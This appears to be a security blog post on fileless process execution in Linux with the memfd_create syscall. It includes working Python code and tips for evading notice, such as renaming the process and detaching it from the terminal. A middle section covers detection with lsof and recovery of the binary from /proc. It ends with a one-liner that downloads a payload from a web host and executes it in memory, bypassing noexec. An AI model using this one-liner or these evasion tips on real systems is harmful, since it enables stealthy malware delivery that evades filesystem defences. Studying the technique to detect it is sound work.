0/ Intro
Since kernel 3.17 you can use memfd_create syscall. As the name says it, you can create a file descriptor in memory. If you're an attacker, you can use this nice syscall to execute binarys without touching any file in the filesystem! (excepting /proc).This is not something new, you can read documentation here:
- https://movaxbx.ru/2018/04/02/in-memory-only-elf-execution-without-tmpfs/
- https://x-c3ll.github.io/posts/fileless-memfd_create/
- http://man7.org/linux/man-pages/man2/memfd_create.2.html
1/ A bit of syscall and python
At first, we read the syscall number, and args:mitsurugi@dojo:~/blog$ grep memfd_create /usr/include/x86_64-linux-gnu/asm/unistd_64.h #define __NR_memfd_create 319 mitsurugi@dojo:~/blog$ cat /usr/include/linux/memfd.h #ifndef _LINUX_MEMFD_H #define _LINUX_MEMFD_H /* flags for memfd_create(2) (unsigned int) */ #define MFD_CLOEXEC 0x0001U #define MFD_ALLOW_SEALING 0x0002U #endif /* _LINUX_MEMFD_H */ mitsurugi@dojo:~/blog$
The MFD_CLOEXEC is interesting (close fd when executed).
python can't call syscall directly. Fortunately we have ctypes and a libc, so in order to create the memfd, we can just do this:
#! /usr/bin/python3 import ctypes import ctypes.util import time libc = ctypes.cdll.LoadLibrary(ctypes.util.find_library('c')) fd = libc.syscall(319,b'Mitsurugi', 1) assert fd >= 0 time.sleep(60) #sleep is just here to let us list /proc file
And we can see that we have a new fd in our process:
mitsurugi@dojo:~/blog$ ps ax | grep memfd 6237 pts/5 S+ 0:00 /usr/bin/python3 ./memfd1.py mitsurugi@dojo:~/blog$ ls -l /proc/6237/fd total 0 lrwx------ 1 mitsurugi mitsurugi 64 févr. 20 10:40 0 -> /dev/pts/5 lrwx------ 1 mitsurugi mitsurugi 64 févr. 20 10:40 1 -> /dev/pts/5 lrwx------ 1 mitsurugi mitsurugi 64 févr. 20 10:40 2 -> /dev/pts/5 lrwx------ 1 mitsurugi mitsurugi 64 févr. 20 10:40 3 -> /memfd:Mitsurugi (deleted) mitsurugi@dojo:~/blog$
2/ Ready to play!
The next part is super easy. Just copy bytes to the FD, and execv() it. For the clarity of the program, I just copy the /usr/bin/xeyes binary to the memfd.#! /usr/bin/python3 import ctypes import ctypes.util import os libc = ctypes.cdll.LoadLibrary(ctypes.util.find_library('c')) fd = libc.syscall(319,b'Mitsurugi', 1) assert fd >= 0 with open('/usr/bin/xeyes', mode='rb') as f1: with open('/proc/self/fd/'+str(fd), mode='wb') as f2: f2.write(f1.read()) os.execv('/proc/self/fd/'+str(fd), [""])
And it works flawlessly. We could download the payload from anywhere in the internet instead of copying the file, closing the control terminal with setsid(), use dup2() to bind /dev/null for fd 0,1,2 and so on... (this is left as an exercise to the reader ;) ).
3/ From defender point of view
3/1/ block with noexec doesn't work
My first though was to use the noexec for the /proc directory. Unfortunetaly, it doesn't help, all examples in the blogpost have been tested and verified with noexec:mitsurugi@dojo:~/blog$ mount | grep ^proc proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) mitsurugi@dojo:~/blog$
3/2/ Detecting bad behavior
If we look closely we can see things:mitsurugi@dojo:~/blog$ ps ax | grep 6601 6601 pts/6 S 0:00 6604 pts/6 S+ 0:00 grep 6601 mitsurugi@dojo:~/blog$
The process have no name at all (!). In some situation this could be seen as an advantage. If you are concerned, just use prctl() to rename your process.
With the help of lsof we can find some unusual thing:
mitsurugi@dojo:~/blog$ lsof | grep txt | grep 6601 3 6601 mitsurugi txt REG 0,5 28744 224284 /memfd:Mitsurugi (deleted) mitsurugi@dojo:~/blog$
3/3/ recovering the file
But, can we recover the binary bytes from fd? Remember that we use the MFD_CLOEXEC flag. The file descriptor is closed:mitsurugi@dojo:~/blog$ cat /proc/6601/fd/3 > output cat: /proc/6601/fd/3: No such device or address mitsurugi@dojo:~/blog$
mitsurugi@dojo:~/blog$ cat /proc/6601/exe | md5sum 443bdd422a4437e319d3b86330990c45 - mitsurugi@dojo:~/blog$ cat /usr/bin/xeyes | md5sum 443bdd422a4437e319d3b86330990c45 - mitsurugi@dojo:~/blog$
You can still copy an encrypted code in the fd and launch it with the key as argument, but someone could always dump the process memory and read bytes back. If code runs in the target machine, an analyst could get it.
4/ Conclusion
Here is a fun way to launch process without touching the file system and bypassing the noexec flag.I give the one-liner, you just have to host the payload, and it work:
python3 -c 'import ctypes,ctypes.util,os,requests; libc = ctypes.cdll.LoadLibrary(ctypes.util.find_library("c"));fd = libc.syscall(319,b"Mitsurugi", 1);f2=open("/proc/self/fd/"+str(fd),"wb");f2.write(requests.get("http://127.0.0.1:8000/payload").content);f2.close();os.execv("/proc/self/fd/"+str(fd), [""])'